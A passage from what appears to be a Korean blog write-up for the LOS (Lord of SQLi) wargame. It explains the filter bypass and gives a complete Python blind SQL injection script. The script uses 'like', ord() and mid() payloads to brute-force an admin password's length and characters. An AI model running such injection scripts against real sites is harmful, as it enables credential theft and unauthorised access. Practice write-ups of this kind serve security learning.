
substr ascii = ' 가 필터링 되어 있다.
또 쿼리가 pw, no 두 개의 값을 받게 되어 있다.
mid() ord() like " 를 사용해서 코드를 짜면
import requests
php = '세션값'
pl=0
password = ''
for i in range(1,50):
r = requests.get(url, params={'pw':f'','no':f'1 or id like "admin" and length(pw) like {i};-- -'}, cookies={'PHPSESSID':php})
if 'Hello admin' in r.text:
print(i)
pl = i
break
for i in range(1,pl+1):
for j in range(32,127):
r = requests.get(url, params={'pw':f'','no':f'1 or id like "admin" and ord(mid(pw,{i},1)) like {j};-- -'}, cookies={'PHPSESSID':php})
if 'Hello admin' in r.text:
password += chr(j)
break
print(password)

풀었다!
'Web > LOS' 카테고리의 다른 글
| LOS - giant (0) | 2024.10.18 |
|---|---|
| LOS - bugbear (1) | 2024.09.19 |
| LOS - golem (1) | 2024.09.17 |
| LOS - skeleton (0) | 2024.09.17 |
| LOS - vampire (0) | 2024.09.17 |